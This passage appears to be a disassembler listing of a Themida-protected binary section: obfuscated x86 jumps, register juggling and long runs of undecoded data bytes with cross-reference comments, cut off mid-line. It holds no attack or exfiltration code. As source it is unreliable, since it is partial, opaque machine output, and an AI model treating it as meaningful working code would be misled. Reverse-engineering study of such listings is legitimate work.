0F0012DAAh, 23D3E9h, 4B85000h dd 89000000h, 24048BC6h, 4C481h, 6A680000h, 89000013h dd 0D6BF243Ch, 0C112CB60h, 0F78105E7h, 498F7638h, 2321EA81h dd 0EA8102FCh, 7F73769Fh, 0C281FA01h, 7F73769Fh, 2321C281h dd 3C8B02FCh, 4C48124h, 1000000h, 26BE56F2h, 0E9023D33h dd 0FFFFEF8Eh, 240C3358h, 33240C31h, 248B240Ch, 4016624h dd 4E99C24h, 0BFFFFF94h, 4, 14B0C581h, 0FD014688h, 14B0ED81h dd 3C8B4688h, 4C48324h, 0D11DE950h, 8957FFFFh, 5FF989DFh dd 8BCB895Bh, 0C481240Ch, 4, 510DEB81h, 0C30144AEh, 510DC381h dd 0B9E944AEh db 0CCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559903: ; CODE XREF: Themida_:00560BF3j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_55FCBF ; --------------------------------------------------------------------------- dw 3C87h dd 24248B24h, 0E9240431h, 0FFFF93A3h dword_559920 dd 5224048Bh, 0C281E289h, 4, 0BF73E9h, 48F5B00h, 1C895C24h ; DATA XREF: Themida_:00552BC4o dd 73D6BB24h, 16E974C4h, 5800001Eh, 5C24048Fh, 4BB53h dd 0DFE90000h db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559953: ; CODE XREF: Themida_:00566A01j add esi, ecx push eax mov eax, 1DE6017Bh add esi, eax pop eax push dword ptr [esp] pop ecx push edi jmp loc_557BF5 ; --------------------------------------------------------------------------- dd 8FE345Bh, 0E95258C5h, 0AB3Ah, 3AE9EB01h, 81000042h dd 0D35292C7h, 92BE93Dh, 1A2D0000h, 535F128h, 6E515EEFh dd 0FFE8F3E9h, 0E9505EFFh, 0FFFFE9DBh ; --------------------------------------------------------------------------- loc_55999C: ; CODE XREF: Themida_:0055A0B9j pop eax shr ch, 6 jmp loc_5624AD ; --------------------------------------------------------------------------- loc_5599A5: ; CODE XREF: Themida_:00556C39j add esi, 42B5223Ah not esi sub esi, 7F57AC7Fh add ebx, esi jmp loc_553359 ; --------------------------------------------------------------------------- loc_5599BA: ; CODE XREF: Themida_:005654EFj dec esi jmp loc_55FC0F ; --------------------------------------------------------------------------- dd 5C243C87h, 4244401h, 8324048Bh, 0F0E904C4h, 50FFFF92h dd 405E089h, 83000000h, 48704E8h, 34895C24h, 479BBE24h dd 97E97DB4h, 83000033h, 0D82804C4h, 0C5B75352h, 15E9C2B2h dd 81FFFFAFh, 42404h, 0E95A0000h, 0B1FFh, 0FE87D6F7h, 0FE31D7F7h dd 0FE31F731h, 0C101C683h, 0E68108E6h, 6DB717D1h, 0EC02C681h dd 64E992EDh, 68FFFFD2h, 0B3A7EBDh, 6E0C158h, 9FAF4435h dd 58C689CEh, 2D5EF189h, 65D22385h, 8505C801h, 8B65D223h dd 0C483240Ch, 24043304h, 33240431h, 248B2404h, 40478F24h dd 404781h, 0FF1FF717h, 34FF2434h, 24048B24h, 4C481h, 25680000h dd 89000070h, 0E789243Ch, 4C781h, 0C9E90000h, 810000C4h dd 4A12EEEEh, 301FE91Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559A9A: ; CODE XREF: Themida_:005539D5j xchg esi, [esp] pop esp mov [esp], eax mov eax, 3D2A5296h shr eax, 7 xor eax, 7946361Dh push 598Ah mov [esp], eax dec dword ptr [esp] jmp loc_55678E ; --------------------------------------------------------------------------- loc_559ABE: ; CODE XREF: Themida_:00560885j or edi, 3B592A2Fh add edi, 25E53CE5h dec edi shr edi, 2 dec edi add edi, 0D7D044FAh jmp loc_55F44D ; --------------------------------------------------------------------------- dw 0E929h dd 0B35BE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559AE2: ; CODE XREF: Themida_:00554FB6j mov [esp], ecx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx jmp loc_55E896 ; --------------------------------------------------------------------------- aPs_0 db 'PИец',0 db 0 ; --------------------------------------------------------------------------- loc_559B03: ; CODE XREF: Themida_:00552FC6j push esi push edx jmp loc_56067A ; --------------------------------------------------------------------------- dw 5255h dd 8E0E9A68h, 0EDE95A7Ch db 52h, 2 dup(0) byte_559B17 db 66h ; DATA XREF: Themida_:00552BE8o dd 9C241CF7h, 0FF91A2E9h, 66C188FFh, 17E98058h, 1B15153h dd 0E959CB88h, 0FFFFCEE2h ; --------------------------------------------------------------------------- loc_559B34: ; CODE XREF: Themida_:0056210Ej pop ebp add eax, edx pop edx sub eax, 4 jmp loc_5642C5 ; --------------------------------------------------------------------------- dw 0D0F7h dd 4A023C2Dh, 0E9C20135h, 0CC46h, 2424D366h, 9169E99Ch dd 1489FFFFh, 0E4685624h, 5E1D7774h, 0D36DE9h, 2CE95000h dd 0BD00000Eh, 98F069Ah, 850DE9h db 0 ; --------------------------------------------------------------------------- loc_559B79: ; CODE XREF: Themida_:005581D0j inc ebx neg ebx or ebx, 3ECD65AEh sub ebx, 292A4E08h add ebx, 0CBC65D79h add edx, ebx pop ebx sub edx, ecx sub edx, 616A072Fh mov ecx, [esp] jmp loc_558E38 ; --------------------------------------------------------------------------- byte_559BA1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552B68o aQs_r db '$QИ.░',0 db 0 byte_559BAB db 66h ; DATA XREF: Themida_:00552AF0o dd 0E924048Bh, 2A52h ; --------------------------------------------------------------------------- loc_559BB4: ; CODE XREF: Themida_:005664CFj and esi, 11D94617h sub esp, 4 mov [esp], edx mov edx, 0E25FF3C0h jmp loc_56440F ; --------------------------------------------------------------------------- dw 0E889h dd 6DBE565Dh, 81149357h, 0C65203EBh, 81F30159h, 0C65203C3h dd 0C3815E59h, 6F4721E8h, 0EC81C329h, 4, 0BE243489h, 55DF5AD9h dd 0C681DEF7h, 744935CBh, 8107E6C1h, 0A65718EEh, 5EF329C5h dd 576DEB81h, 34FF1493h, 24048B24h, 0A992E9h, 4AED8000h dd 0A6568h, 24048900h, 0B8C7E9h, 0BBE95F00h, 0FFFFFF9Fh dd 48B2434h, 30E95124h, 0BEFFFFA0h, 3B764708h, 742AE681h dd 0F68161E5h, 44385454h, 6F24E9h, 242C8900h, 0BB665366h dd 89661043h, 665B66DDh, 6B28E581h, 66555366h, 663F3168h dd 0F587665Dh, 66D6F766h, 47E9F587h, 89000008h, 7AF168E5h dd 34890000h, 65DA6824h, 3C890000h, 63B6BF24h, 0DFF717DCh dd 8105E7C1h, 0BA48C3EFh, 0A3E0E9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559CA6: ; CODE XREF: Themida_:00563B3Bj mov [esp], ecx mov ecx, 4 jmp loc_554C3B ; --------------------------------------------------------------------------- loc_559CB3: ; CODE XREF: Themida_:00559F34j xchg edx, ebp xchg edi, edx not edi xchg edi, edx xchg edx, ebp xchg ebp, [esp] push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_563666 ; --------------------------------------------------------------------------- db 89h dd 0BD55241Ch, 173D7834h, 3D7830BBh, 5DEB3117h, 0FFB445E9h dd 1C780FFh, 0C091CF80h, 0C78008EFh, 51B45001h, 2858E728h dd 241C8BFEh, 4C481h, 0C6800000h, 936FE9B3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559D12: ; CODE XREF: Themida_:0055C027j add esp, 4 push edx jmp loc_56276B ; --------------------------------------------------------------------------- dw 0F681h dd 1B945961h, 0F681DEF7h, 0B3B1EDB1h, 0FFFCDBE9h db 0FFh ; --------------------------------------------------------------------------- loc_559D31: ; CODE XREF: Themida_:00558117j mov cl, 82h sub bl, 68h sub bl, cl jmp loc_5624BD ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0B7C380h, 4EC81F3h, 0E9000000h, 3C2Ch ; --------------------------------------------------------------------------- loc_559D50: ; CODE XREF: Themida_:00564571j not eax and eax, 6D897A5Eh jmp loc_56195D ; --------------------------------------------------------------------------- dd 0C181D9F7h, 5C05958h, 7F51E9h, 30EE8000h, 0C680CE28h dd 7E95930h, 830000A6h, 0F23104C4h, 8124348Bh, 4C4h, 1C570900h dd 0E92434FFh, 0B84Fh dword_559D90 dd 0FF8F2EE9h, 82F281FFh, 29D37C8Dh, 0DDF75AD5h, 521BE9h ; DATA XREF: Themida_:00552C34o dd 89CE8900h, 0A7F9E9F3h, 348B0000h, 4C48324h, 815FFE31h dd 0A1B7ABC6h, 7271E9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559DC2: ; CODE XREF: Themida_:0055F698j mov ecx, esi pop esi sub ecx, 94F6C81Fh add eax, ecx mov ecx, [esp] add esp, 4 add edi, eax mov eax, [esp] add esp, 4 movzx eax, al jmp loc_55FB69 ; --------------------------------------------------------------------------- byte_559DE9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00552A30o dd 7E146824h, 14890000h, 4EC8124h, 89000000h, 0D3E92424h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559E03: ; CODE XREF: Themida_:00554CE4j add esp, 4 or eax, eax jmp loc_5551E3 ; --------------------------------------------------------------------------- dd 0E7801AB7h, 53EF80D4h, 27AE9h, 80A0B600h, 0EE807FE6h dd 4EC81FCh, 89000000h, 0F388241Ch, 0D182E9h db 0 byte_559E35 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552A1Co dd 8B2434FFh, 0C483240Ch, 4EC8104h, 89000000h, 5A542414h dd 4C281h, 84680000h, 89000038h, 12E9241Ch, 81000028h dd 350B50CFh, 0B8E94759h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559E6B: ; CODE XREF: Themida_:00560432j sub ebp, 74C24170h inc ebp jmp loc_563865 ; --------------------------------------------------------------------------- db 0BFh dd 7BC41049h, 85E9FA29h, 6600003Dh, 0DF4805Bh, 5255F480h dd 0D388E288h, 8324148Bh, 805804C4h, 0D1E930EBh, 87FFFFB1h dd 895C241Ch, 0EABF243Ch, 0E932A10Ah, 0FFFFFACBh ; --------------------------------------------------------------------------- loc_559EB0: ; CODE XREF: Themida_:00553840j shl edx, 1 push dword ptr [edi+24h] push edx push 162Dh mov [esp], edi push eax mov eax, 137D30A7h mov edi, eax pop eax push eax mov eax, 5EB87A7Dh mov edx, 4B3B49D7h push 4C97h jmp loc_557DDA ; --------------------------------------------------------------------------- dword_559EDC dd 2B60F66h, 1E59E9h, 0D0F78100h, 52898FB5h, 89FD8955h ; DATA XREF: Themida_:00552BD4o dd 242C8BEAh, 4C481h, 81520000h, 466A2434h, 0E95B676Eh dd 0B7E5h, 78C6BB53h, 3AE904B8h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559F13: ; CODE XREF: Themida_:00565BBFj not edi push eax mov eax, 32E308A4h sub esp, 4 jmp loc_563823 ; --------------------------------------------------------------------------- loc_559F23: ; CODE XREF: Themida_:0055AA5Cj pop esp shr eax, 12h xor eax, ecx push 21D6h mov [esp], eax xchg ebp, [esp] jmp loc_559CB3 ; --------------------------------------------------------------------------- db 58h, 83h, 0C3h dd 74FF5304h, 8F5B0424h, 0CDE92404h, 5DFFFFCDh, 31243433h dd 34332434h, 24248B24h, 24042966h, 8D61E99Ch db 2 dup(0FFh) word_559F62 dw 8B66h ; DATA XREF: Themida_:00552A78o dd 0C568240Ch, 89000042h, 0E2892414h, 6E07E9h, 4EE98100h dd 1ECCCEDh, 3C0559CAh, 0E90EA641h, 41BBh, 0E95AC380h dd 6FB4h, 5002EA81h, 0BE565B0Ch, 6E88D77Bh, 15EF229h, 2434FFD0h dd 5A2434FFh, 81E78957h, 4C7h, 5EBAE900h, 14040000h, 5266712Ch dd 0D028EFB2h, 34FF5A66h, 0E925E924h, 0C781FFFFh, 4, 4C781h dd 0FF570000h, 5F042474h, 5C24048Fh, 0E9241C33h, 3AB4h dd 0D588C288h, 24048B5Ah, 0E904C483h, 0C74Bh, 0BB53D8F7h dd 0B931D40h, 10A1E9h, 58C70100h, 2BFFB951h, 0C1815682h dd 0A97DD405h, 744C781h, 0CF011700h, 744EF81h, 1E91700h dd 400000C3h, 0E6D67605h, 58C221C4h, 30A2F281h, 89563F8Ah dd 5EF189D6h, 0FFCA295Ah, 81592434h, 4C4h, 4E2C100h, 7E67F281h dd 0F2816004h, 18390EB3h, 0CAAC781h, 0EF817C82h, 49CD4E68h dd 0C781D701h, 49CD4E68h, 0CAAEF81h, 49E97C82h, 89FFFFB8h dd 65B9240Ch, 81124F72h, 4ECh, 240C8900h, 6C09E9h, 51525300h dd 3E978B1h, 80000049h, 0CFFE8CF7h, 77C780h, 241C8BF8h dd 0E904C483h, 175Ch, 0B0506658h, 21EE9F6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A0B6: ; CODE XREF: Themida_:0055AF98j pop ecx xor ch, ah jmp loc_55999C ; --------------------------------------------------------------------------- loc_55A0BE: ; CODE XREF: Themida_:00565AF8j mov esi, 0A6F5569h add esi, 0F590AA9Bh jmp loc_55843D ; --------------------------------------------------------------------------- loc_55A0CE: ; CODE XREF: Themida_:00556BA7j sub edx, 0B9B17835h sub eax, edx pop edx sub ebp, 48FD32C5h add ebp, eax push esi mov esi, 76BD58CAh push 0C20h mov [esp], ebp mov ebp, 0D987372h xchg eax, ebp neg eax jmp loc_553E7B ; --------------------------------------------------------------------------- aEbRrXsw db 'E│м[rr&яЕИWп',0 align 4 loc_55A108: ; CODE XREF: Themida_:00566CECj pop esp jmp loc_55FBC9 ; --------------------------------------------------------------------------- loc_55A10E: ; CODE XREF: Themida_:0056036Bj mov [esp], ebx jmp loc_5637A4 ; --------------------------------------------------------------------------- loc_55A116: ; CODE XREF: Themida_:00554887j sub ebp, 4 jmp loc_55EEE0 ; --------------------------------------------------------------------------- dw 875Eh dd 835C243Ch, 49E904C6h, 54000056h, 81241C8Bh, 4C4h, 4EC8300h dd 0BF243C89h, 4, 3C8BFB01h, 4C48324h, 0FFAC67E9h, 5EBC1FFh dd 0C06FE9h, 243C3300h, 0B269E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A15E: ; CODE XREF: Themida_:00565508j mov eax, 198E5B29h mov ebx, 2FD0F860h add ebx, eax pop eax sub ebx, 72231CB5h add ebx, 574C1302h jmp loc_5606CE ; --------------------------------------------------------------------------- dd 0E905EBC1h, 8FC5h ; --------------------------------------------------------------------------- loc_55A184: ; CODE XREF: Themida_:005622FAj add ecx, 0B03BDFDEh add esi, ecx jmp loc_5544CD ; --------------------------------------------------------------------------- loc_55A191: ; CODE XREF: Themida_:0056613Aj add edi, ebp push dword ptr [esp] pop ebp sub esp, 4 jmp loc_562A71 ; --------------------------------------------------------------------------- loc_55A1A2: ; CODE XREF: Themida_:005609AFj xor ecx, edx pop edx xor ebx, ecx mov ecx, [esp] push ecx mov ecx, esp push 20B5h mov [esp], edx mov edx, 4 add ecx, edx pop edx add ecx, 4 xchg ecx, [esp] pop esp add eax, 1C120E87h jmp loc_56573F ; --------------------------------------------------------------------------- db 29h, 0F9h, 5Fh dd 4F97E981h, 0CE29691Ah, 0DFF68159h, 298F51EBh, 24348BF0h dd 0C5D1E9h, 4BE00h, 0F3010000h, 41BF685Eh, 1C890000h dd 9BD3E924h, 895C0000h, 5954240Ch, 4C181h, 0BB530000h dd 4, 204DE9h, 0BB535E00h, 3D21DFA3h, 295BDF29h, 0E2E95FFBh db 0C0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A22B: ; CODE XREF: Themida_:0055ADACj push 67516C26h pop edx jmp loc_5596E2 ; --------------------------------------------------------------------------- dw 0BF57h dd 5CF7877h, 2414F757h, 5F2434FFh, 8104C483h, 546B10C7h dd 70B9E963h, 34890000h, 4654BE24h, 0BF572647h, 7FA82BB7h dd 120C781h, 0FE21F47Dh, 4EC835Fh, 0B8240489h, 5AB0677h dd 8158C629h, 7554D2CEh, 77BCE976h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A282: ; CODE XREF: Themida_:00566020j push 719h mov [esp], edx mov edx, esp push esi mov esi, 7B3B421Fh xchg ecx, esi dec ecx jmp loc_558BDD ; --------------------------------------------------------------------------- dw 0C381h dd 0EC480C92h, 4CDCC381h, 0E38108DEh, 4B0F35DFh, 0BCFDE9h dd 0BF575300h, 34BC7921h, 5EE9D7F7h, 81000021h, 0CEA65EF2h dd 81DAF71Eh, 8B61E0C2h, 0E9D60173h, 0FFFF9C27h, 5866C128h dd 0E9FBB450h, 1E00h ; --------------------------------------------------------------------------- loc_55A2E0: ; CODE XREF: Themida_:00557917j xor ebp, eax push dword ptr [esp] pop eax add esp, 4 push edx mov edx, 40759998h jmp loc_553CD5 ; --------------------------------------------------------------------------- dd 0CB89E989h, 5FEE959h, 248B0000h, 24148924h, 0C8E9E289h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A30B: ; CODE XREF: Themida_:00558398j push ecx mov ecx, 2E7C3BD4h add ecx, 63F66F8Bh push edi mov edi, 0E8317E7Bh add ecx, edi mov edi, [esp] add esp, 4 sub edx, ecx pop ecx sub edx, 1 push ebp jmp loc_5643FB ; --------------------------------------------------------------------------- dd 83515E04h, 0E3E904ECh, 0FFFFDCh, 5A2E04F0h, 0FFAEFBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A349: ; CODE XREF: Themida_:0056673Ej pop ecx push ecx jmp loc_554AE8 ; --------------------------------------------------------------------------- dd 30240C32h, 0AFE9240Ch, 5CFFFFA7h, 57243489h, 0FF8AF7E9h dd 0D7F781FFh, 81062440h, 315302F7h, 91F78175h, 533E1D15h dd 0D85265BBh, 8ABFE960h, 40B90000h, 816F5D0Ch, 7B6C86C9h dd 86C98179h, 0E9695A4Fh, 0FFFFF9C4h, 8C240481h, 5832BC7Bh dd 649968h, 0B082E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A3AA: ; CODE XREF: Themida_:0056126Aj push ecx jmp loc_567478 ; --------------------------------------------------------------------------- loc_55A3B0: ; CODE XREF: Themida_:0055C9F0j add esp, 4 xchg edx, edi inc edx push edi push edx pop edi jmp loc_560A51 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 0E904E983h, 14BAh, 511ABA52h, 0D0010C8Eh, 0E9F0015Ah dd 431Dh ; --------------------------------------------------------------------------- loc_55A3DC: ; CODE XREF: Themida_:005673AFj pop eax add eax, edi push 1879h mov [esp], edx mov edx, 0 jmp loc_5535B6 ; --------------------------------------------------------------------------- aUZ@sUs db 'U╫╖@S`UИ╬╩',0 dd 2434FF00h, 4C48358h, 5C24048Fh, 240C8B66h, 0B819E951h dd 489FFFFh, 93CAE924h, 4890000h, 0CFBE5624h, 89055324h dd 3DE95EF0h, 33000042h, 4E9242Ch, 58000011h, 4BF57h, 0C5810000h dd 4A634246h, 0ED81FD01h, 4A634246h, 242C875Fh, 2404335Ch dd 33240431h, 248B2404h, 4216624h, 60E99C24h, 83FFFF88h dd 926802C4h, 8900007Ch, 62E92414h, 68000041h, 3DE0h, 87243489h dd 0C5E92434h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A483: ; CODE XREF: Themida_:0056040Bj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_55F1DE ; --------------------------------------------------------------------------- aFs0FSX db 'fSЁб0ьf[ИбX',0 align 4 dword_55A4A4 dd 240C8B66h, 74B268h, 240C8900h, 2434FF54h, 0E2895259h ; DATA XREF: Themida_:00552A9Co dd 4C281h, 0C2830000h, 0DF4EE904h, 8166FFFFh, 665928E5h dd 8166D5F7h, 6653D9EDh, 0E95DEB89h, 3847h, 68240C89h dd 7BDEh, 6675E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A4EA: ; CODE XREF: Themida_:00557320j mov edi, 4 add esi, edi pop edi xchg esi, [esp] mov esp, [esp] add ebp, 4 jmp loc_55358B ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 0E9000000h, 0FFFFB4FFh ; --------------------------------------------------------------------------- loc_55A510: ; CODE XREF: Themida_:005667B9j push ecx mov ecx, 138670ACh jmp loc_5654CB ; --------------------------------------------------------------------------- db 87h dd 515C243Ch, 1612E9h, 24248B00h, 815D5455h, 4C5h, 0F1C1E900h dd 61BEFFFFh, 0F7411C5Dh, 0FBE681D6h, 0E97C466Ch, 40F4h dd 0E940C380h, 0CDE6h ; --------------------------------------------------------------------------- loc_55A550: ; CODE XREF: Themida_:005597E2j push 4362h mov [esp], esi sub esp, 4 mov [esp], edx push eax push esi mov esi, 0CC8155Eh mov eax, esi pop esi jmp loc_565A94 ; --------------------------------------------------------------------------- db 5Ch, 66h, 89h dd 0EC832414h, 240C8904h, 0C087B050h, 0E0C005E8h, 4DCEE902h dd 0C4FE0000h, 5131F480h, 0E5C0E8B5h, 2EDC005h, 0E907E5C0h dd 1D8Dh, 7E99BF57h, 0F7474454h, 6E7C1D7h, 74F6EF81h, 814767C1h dd 849C72EFh, 5FFD3127h, 550BE9h, 245C2900h, 9B7EE904h dd 0D701FFFFh, 8D59E9h, 40776800h, 4890000h, 34A3B824h dd 61053259h, 1CDA6CBh, 24048BC2h, 0E9E38953h, 7BA2h, 0E9243C89h dd 50A9h, 184668h, 24148900h, 0F98326BAh, 5AD52930h, 535DEF31h dd 998BE9h, 51E58900h, 0F3CBF57h, 0EF811E58h, 133850BDh dd 77F7C781h, 0E7810409h, 79B92DDCh, 8103EFC1h, 0E51E37F7h dd 69CEE95Ch, 0EB810000h, 3901894Ch, 91E9D387h, 0BDFFFF99h dd 6FD7121Bh, 6985F581h, 0EF8952B4h, 8BFB315Dh, 0ADE9243Ch dd 0BD000013h, 7D1130F7h, 37E95155h, 8800003Eh, 9FB25AD3h dd 305BDA00h, 0C4FE5AD4h, 0E9D2B252h, 0BEBh, 9A8FE951h dd 0F9290000h, 74FF515Fh, 99E90424h, 6800005Ah, 6Dh, 81242489h dd 42404h, 815F0000h, 4C7h, 8C3EE900h, 0E9510000h, 9C2Ch ; --------------------------------------------------------------------------- loc_55A6B0: ; CODE XREF: Themida_:00554C14j push ebx mov ebx, 627A4924h jmp loc_558395 ; --------------------------------------------------------------------------- db 5Fh dd 0F7B5E957h, 8B5FFFFFh, 0EC832414h, 24148904h, 6399E9h dd 0EED14600h, 7E6C146h, 343AF681h, 0F021573Eh, 221C2D5Eh dd 0EA814010h, 341B7B3Eh, 0B951C201h, 341B7B3Eh, 5859CA01h dd 0CEA4E9h db 0 ; --------------------------------------------------------------------------- loc_55A6FD: ; CODE XREF: Themida_:0055EDFFj mov ebx, esp jmp loc_558A89 ; --------------------------------------------------------------------------- dd 8904EC83h, 4812424h, 424h, 87B8E900h, 48B0000h, 9261E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A71E: ; CODE XREF: Themida_:0055EC34j push ebx mov ebx, 4 jmp loc_56412F ; --------------------------------------------------------------------------- loc_55A729: ; CODE XREF: Themida_:0055E493j sub esp, 4 jmp loc_561E0D ; --------------------------------------------------------------------------- loc_55A734: ; CODE XREF: Themida_:00557DA3j sub esp, 4 mov [esp], edx jmp loc_55DBEB ; --------------------------------------------------------------------------- dw 2E2Ch dd 2C1EE9h db 0 ; --------------------------------------------------------------------------- loc_55A749: ; CODE XREF: Themida_:00560373j pop edx add ecx, 1 sub ecx, 46FA74A8h push 0F12h mov [esp], edx mov edx, 5B985E8Ch sub ecx, edx pop edx jmp loc_55F499 ; --------------------------------------------------------------------------- dd 8158C729h, 9E640CEAh, 0E9FA014Bh, 1CD3h, 293203B8h dd 4E8C125h, 7DBDE940h, 0C4830000h, 0B1DCE904h, 0EC81FFFFh dd 4, 0FF241C89h, 5B042474h, 8B24048Fh, 6CE92424h, 2C000063h dd 4E8C0E3h, 68E95934h, 1000052h, 983BE9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A7BA: ; CODE XREF: Themida_:00554DCEj mov edi, [esp] jmp loc_560362 ; --------------------------------------------------------------------------- loc_55A7C2: ; CODE XREF: Themida_:0055FC0Aj shr ecx, 4 neg ecx xor ecx, 0F1205415h add ebp, ecx jmp loc_559025 ; --------------------------------------------------------------------------- dd 8B24048Fh, 89662424h, 0E0E92404h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A7E3: ; CODE XREF: Themida_:0055F4A5j not edi and edi, 35CF3EDCh neg edi sub edi, 4F589682h add ecx, edi pop edi and eax, ecx pop ecx or eax, eax jmp loc_555789 ; --------------------------------------------------------------------------- a5QTsps4 db '5ыQ{tSPИ4╢',0 align 4 loc_55A80C: ; CODE XREF: Themida_:00567002j mov eax, 4 add ebx, eax pop eax jmp loc_563154 ; --------------------------------------------------------------------------- loc_55A819: ; CODE XREF: Themida_:00562834j mov esp, [esp] mov [esp], ecx push esp pop ecx push eax jmp loc_56244C ; --------------------------------------------------------------------------- loc_55A827: ; CODE XREF: Themida_:00563218j push 7D1523ABh mov eax, [esp] push 137Bh mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_558B5C ; --------------------------------------------------------------------------- dw 5866h dd 809AC580h, 0EC288CECh, 598CC480h, 34FFE130h, 0C4815824h dd 4, 2812E980h, 0C8B66C8h, 2C48324h, 5C2A68h, 240C8900h dd 4EC81h, 1C890000h, 4EC8124h, 89000000h, 0E2892414h dd 4C281h, 0B8500000h, 4, 8758C229h, 0A7E92414h, 52FFFFD6h dd 0EB80DEB2h, 5662E9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A8AE: ; CODE XREF: Themida_:00565190j neg ecx xor ecx, 736565DCh sub ecx, 3544334Eh add ecx, 5A3C57B4h jmp loc_565730 ; --------------------------------------------------------------------------- aS_9 db '\И╨,',0 db 0 ; --------------------------------------------------------------------------- loc_55A8CD: ; CODE XREF: Themida_:00555E0Ej pop esp shr eax, 8 xor eax, ecx sub esp, 4 mov [esp], eax xchg eax, [esp] jmp loc_566B13 ; --------------------------------------------------------------------------- db 50h, 0E9h, 1Dh dd 68FFFFFEh, 69F7h, 55243C89h, 0B8ACE9h db 0 ; --------------------------------------------------------------------------- loc_55A8F5: ; CODE XREF: Themida_:0055FADAj pop ecx push ebx jmp loc_55B2D8 ; --------------------------------------------------------------------------- dd 83242C8Bh, 0B95104C4h, 61E506E9h, 76CAC181h, 23E93C8Eh dd 55FFFF84h, 4BDh, 0E9EE8900h, 75C9h ; --------------------------------------------------------------------------- loc_55A920: ; CODE XREF: Themida_:0055E787j mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 44C80679h jmp loc_55DDDB ; --------------------------------------------------------------------------- aVsR db '[VИ`░',0 align 10h dd 737D6853h, 0F75B1F1Bh, 6E3C1D3h, 3800E9h db 0 ; --------------------------------------------------------------------------- loc_55A951: ; CODE XREF: Themida_:00557EC2j mov dh, 0A3h jmp loc_56462E ; --------------------------------------------------------------------------- loc_55A958: ; CODE XREF: Themida_:00567579j push edi mov edi, 4 add ecx, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_55F16E ; --------------------------------------------------------------------------- aIXiZyhmc db '┬бX┬тZYh▄c',0 dw 8900h dd 0E388241Ch, 72C068h, 24048900h, 27E9D888h, 0FF000074h dd 505E2434h, 1AE9E089h, 8900009Ch, 405E0h, 42D0000h, 87000000h dd 0D0E92404h, 5700006Fh, 1C183BBFh, 4CEEE93Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A9BA: ; CODE XREF: Themida_:00560958j add [esp+4], ebp sub dword ptr [esp+4], 59226A5Dh mov ebp, [esp] add esp, 4 push dword ptr [esp] pop eax jmp loc_55DED9 ; --------------------------------------------------------------------------- dd 410F1FBBh, 0C15E91Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A9E2: ; CODE XREF: Themida_:0056151Aj pop esi add edx, esi pop esi xchg edx, [esp] pop esp sub esp, 2 mov [esp], cx sub esp, 4 mov [esp], edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax jmp loc_564B29 ; --------------------------------------------------------------------------- loc_55AA0A: ; CODE XREF: Themida_:00553E4Aj mov [esp], edi mov edi, esp jmp loc_5597C9 ; --------------------------------------------------------------------------- dd 4C2815Ah, 56000000h, 0C681E689h, 4, 4EC81h, 4890000h dd 9472E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AA32: ; CODE XREF: Themida_:00560065j shr edi, 8 and edi, 797025A4h push eax mov eax, 0FFF3FFDCh add edi, eax pop eax mov ebp, edi pop edi and eax, ebp push dword ptr [esp] pop ebp push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_559F23 ; --------------------------------------------------------------------------- db 0B9h, 0D7h, 6Bh dd 0C2816270h, 3B092C1Ah, 77E9CA01h, 68FFFFE8h, 19AFh dd 0E9243489h, 7E46h dword_55AA80 dd 3166AD66h, 0BE6656D8h, 70E963F3h ; DATA XREF: Themida_:00552B6Co db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AA8F: ; CODE XREF: Themida_:0055BE3Aj mov [esp], edx push esp jmp loc_556502 ; --------------------------------------------------------------------------- dd 0FFFFFFBEh, 80EA81FFh, 813E1574h, 0CF1D5BC2h, 56F2012Ch dd 0A7F4E9h db 0 ; --------------------------------------------------------------------------- loc_55AAB1: ; CODE XREF: Themida_:0055E5D0j push edi push ebx jmp loc_5616C4 ; --------------------------------------------------------------------------- loc_55AAB8: ; CODE XREF: Themida_:005535A4j xchg edi, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_562216 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 81000000h, 4C6h, 24348700h, 5224248Bh, 0C281E289h, 4 dd 5204C283h, 42474FFh, 